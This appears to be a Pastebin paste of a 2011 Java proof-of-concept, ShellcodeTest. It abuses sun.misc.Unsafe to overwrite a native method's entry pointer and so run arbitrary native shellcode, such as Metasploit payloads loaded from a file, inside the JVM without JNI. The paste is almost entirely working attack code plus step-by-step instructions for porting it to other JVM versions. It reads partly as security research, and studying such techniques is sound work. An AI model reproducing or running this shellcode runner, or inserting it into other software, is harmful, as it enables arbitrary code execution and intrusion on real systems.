Guest User

Untitled

a guest
Jun 5th, 2011
579
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 9.41 KB | None | 0 0
  1. /*
  2.  * Running shellcode from Java without JNI (i. e. loading a DLL from disk).
  3.  * (c) 2011 Michael Schierl <schierlm at gmx dot de> (Twitter @mihi42)
  4.  *
  5.  * Tested versions:
  6.  * .---------------------------.---------.------------.---------.-----------------.
  7.  * | JVM version               | MA slot | Native Ptr | Raw RET | EXITFUNC thread |
  8.  * |===========================|=========|============|=========|=================|
  9.  * | Oracle 1.4.2 Win32        | 25      | 15         | C3      | Not supported   |
  10.  * | Oracle 1.5 Win32          | 29      | 14         | C3      | Not supported   |
  11.  * | Oracle 1.6 Win32          | 29      | 19         | C3      | Not supported   |
  12.  * |---------------------------|---------|------------|---------|-----------------|
  13.  * | Oracle 1.6 Linux 32-bit   | 28      | 19         | C3      | Not supported   |
  14.  * '---------------------------'---------'------------'---------'-----------------'
  15.  *
  16.  * How to test other versions:
  17.  *
  18.  * 1. Compile this class with settings supported by your target JVM (and
  19.  *    -target 1.1) and run it without arguments. It will examine the class fields
  20.  *    for candidates that might hold a pointer to the method array. The method
  21.  *    array is a Java array that contains one entry for each method, and this
  22.  *    entry contains a native pointer to its entry point (for native methods).
  23.  *    Therefore we first have to find the offset of this pointer. First filter
  24.  *    out all values that are most likely not pointers (too small, too "round",
  25.  *    etc.) In case you have a debugger handy, look at the remaining candidates.
  26.  *    A method array will start with jvm flags (usually 0x00000001), a pointer
  27.  *    to the array's element class object, its length (which should be equal to
  28.  *    the number printed above the candidate table), and a pointer to each of the
  29.  *    elements. The rest (up to an architecture-dependent size) is padded with
  30.  *    zeros. If you don't have a debugger handy, just try all of the candidates
  31.  *    in the next step until you get success.
  32.  *    
  33.  *    [Note: On Win32, the slots before the pointer are filled with 0,0,0(,0,1,0,0).]
  34.  *    
  35.  * 2. Run the class with the (suspected) correct method array slot number as its
  36.  *    (only) argument. If the slot was wrong, the JVM will most likely print an
  37.  *    obscure error message or crash. If the slot was correct, it will dump the
  38.  *    fields of the method object inside the array. One of these fields is a
  39.  *    native pointer of the function (by default, on Windows, this points to a
  40.  *    stub method that throws an UnsatisfiedLinkError). So examine the pointers
  41.  *    until you found this method, or again just use trial and error in the next
  42.  *    step.
  43.  *    
  44.  *    [Note: On Win32, there is 0 and another pointer before it, and 0,0,1 after]
  45.  *    
  46.  * 3. Run the class with two parameters, first the method array slot number from
  47.  *    step one, then the native pointer slot number from step two. It will try to
  48.  *    fill that pointer with 0x4141414141414141, therefore examine the (expected)
  49.  *    crash log if it crashes at that pointer. If you cannot examine the crash log,
  50.  *    just try the following steps with each other alternative. The first two
  51.  *    parameters have to be kept for all the following steps, there are only parameters
  52.  *    to be added.
  53.  *    
  54.  * 4. Run the class with "raw C3" as the 3rd and 4th parameter (if your architecture
  55.  *    uses a different opcode for RET, replace it, e. g. "raw DE AD BE EF". This code
  56.  *    will be written into a freshly allocated memory region and the region's base
  57.  *    address will be used for the pointer. This time, the program should not crash,
  58.  *    but return, and print a success message as last step. Running it with
  59.  *    "threaded raw C3" should result in the same results.
  60.  *    
  61.  * 5. Use Metasploit or similar to build a native shellcode for your platform,
  62.  *    using EXITFUNC = thread (or similar) - EXITFUNC = RET would be better. Now run
  63.  *    the class with "file /path/to/your/shellcode" as 3rd and 4th parameter, which
  64.  *    should result in execution of your shellcode, but probably a crash afterwards.
  65.  *    Try again with "threaded file /path/to/your/shellcode". On Windows, both variants
  66.  *    run the shellcode, but crash/hang afterwards, therefore the "Not Supported" in the
  67.  *    last column of the table. [The unthreaded approach kills the Java process on exit,
  68.  *    the threaded approach hangs forever.]
  69.  *    
  70.  * 6. Fill in the table above and send it to me :-)
  71.  */
  72.  
  73. import java.io.File;
  74. import java.io.FileInputStream;
  75. import java.lang.reflect.Array;
  76. import java.lang.reflect.Field;
  77.  
  78. import sun.misc.Unsafe;
  79.  
  80. public class ShellcodeTest implements Runnable {
  81.     private static int addressSize;
  82.  
  83.     public static void main(String[] args) throws Exception {
  84.         // avoid Unsafe.class literal here since it may introduce
  85.         // a synthetic method and disrupt our calculations.
  86.         java.lang.reflect.Field unsafeField = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
  87.         unsafeField.setAccessible(true);
  88.         Unsafe unsafe = (Unsafe) unsafeField.get(null);
  89.         addressSize = unsafe.addressSize();
  90.         Class thisClass = Class.forName("ShellcodeTest");
  91.         final int METHOD_COUNT = thisClass.getDeclaredMethods().length + 1;
  92.         System.out.println("[*] Shellcode class has " + METHOD_COUNT + " methods.");
  93.         Field staticField = thisClass.getDeclaredField("addressSize");
  94.         Object staticFieldBase = unsafe.staticFieldBase(staticField);
  95.         if (args.length == 0) {
  96.             System.out.println("[*] Candidates for method array slot:");
  97.             long staticFieldOffset = unsafe.staticFieldOffset(staticField);
  98.             printStaticSlots(unsafe, staticFieldBase, staticFieldOffset);
  99.             System.out.println("[*] Select method array slot now!");
  100.             return;
  101.         }
  102.         long methodArraySlot = Integer.parseInt(args[0]);
  103.         System.out.println("[*] Obtaining method array (slot " + methodArraySlot + ")");
  104.         Object methodArray = unsafe.getObject(staticFieldBase, methodArraySlot * addressSize);
  105.         int methodCount = Array.getLength(methodArray);
  106.         if (methodCount != METHOD_COUNT) {
  107.             System.out.println("[-] ERROR: Array length is " + methodCount + ", should be " + METHOD_COUNT);
  108.             return;
  109.         }
  110.         System.out.println("[+] Successfully obtained method array");
  111.         Field methodSlotField = Class.forName("java.lang.reflect.Method").getDeclaredField("slot");
  112.         methodSlotField.setAccessible(true);
  113.         int shellcodeMethodSlot = ((Integer) methodSlotField.get(thisClass.getDeclaredMethod("shellcode", new Class[0]))).intValue();
  114.         System.out.println("[*] Obtaining method object (slot " + shellcodeMethodSlot + ")");
  115.         Object methodObject = Array.get(methodArray, shellcodeMethodSlot);
  116.         System.out.println("[+] Successfully obtained method object");
  117.         if (args.length == 1) {
  118.             System.out.println("[*] Candidates for native pointer slot:");
  119.             printStaticSlots(unsafe, methodObject, 30 * addressSize);
  120.             System.out.println("[*] Select native pointer slot now!");
  121.             return;
  122.         }
  123.         long nativePtrSlot = Integer.parseInt(args[1]);
  124.         long nativePtrTarget;
  125.         boolean useThread = false;
  126.         int argOffset = 2;
  127.         if (args.length > 2 && args[2].equals("threaded")) {
  128.             argOffset++;
  129.             useThread = true;
  130.         }
  131.         if (args.length == argOffset) {
  132.             System.out.println("[*] Setting native pointer slot to 0x4141414141414141 (should crash at that address!)");
  133.             nativePtrTarget = 0x4141414141414141L;
  134.         } else {
  135.             String mode = args[argOffset];
  136.             argOffset++;
  137.             if (mode.equals("raw")) { // raw c3
  138.                 nativePtrTarget = unsafe.allocateMemory(args.length - argOffset);
  139.                 for (int i = argOffset; i < args.length; i++) {
  140.                     unsafe.putByte(nativePtrTarget + i - argOffset, (byte) Integer.parseInt(args[i], 16));
  141.                 }
  142.             } else if (mode.equals("file")) {
  143.                 File file = new File(args[argOffset]);
  144.                 nativePtrTarget = unsafe.allocateMemory(file.length());
  145.                 FileInputStream fis = new FileInputStream(file);
  146.                 int b;
  147.                 long ptr = nativePtrTarget;
  148.                 while ((b = fis.read()) != -1) {
  149.                     unsafe.putByte(ptr, (byte) b);
  150.                     ptr++;
  151.                 }
  152.             } else {
  153.                 System.out.println("Unsupported mode: " + mode);
  154.                 return;
  155.             }
  156.         }
  157.         System.out.println("[*] Trying to overwrite native method pointer (slot " + nativePtrSlot + ")");
  158.         if (addressSize == 8)
  159.             unsafe.putLong(methodObject, nativePtrSlot * addressSize, nativePtrTarget);
  160.         else
  161.             unsafe.putInt(methodObject, nativePtrSlot * addressSize, (int) nativePtrTarget);
  162.         System.out.println("[+] Successfully overwritten native method pointer");
  163.         if (useThread) {
  164.             System.out.println("[*] Executing native method in thread");
  165.             Thread thread = new Thread(new ShellcodeTest());
  166.             thread.start();
  167.             System.out.println("[*] Thread started");
  168.             thread.join();
  169.             System.out.println("[*] Thread successfully finished");
  170.         } else {
  171.             System.out.println("[*] Executing native method (drum roll...)");
  172.             shellcode();
  173.             System.out.println("[+] Executed native method and returned!");
  174.         }
  175.     }
  176.  
  177.     public void run() {
  178.         try {
  179.             shellcode();
  180.         } catch (Throwable t) {
  181.             t.printStackTrace();
  182.         }
  183.     }
  184.  
  185.     private static void printStaticSlots(Unsafe unsafe, Object object, long maxOffset) {
  186.         for (long offset = 0; offset < maxOffset; offset += addressSize) {
  187.             long value = addressSize == 8 ? unsafe.getLong(object, offset) : unsafe.getInt(object, offset) & 0xFFFFFFFFL;
  188.             System.out.println("\t" + offset / addressSize + "\t" + Long.toHexString(value));
  189.         }
  190.     }
  191.  
  192.     private static native void shellcode();
  193. }
Advertisement
Add Comment
Please, Sign In to add comment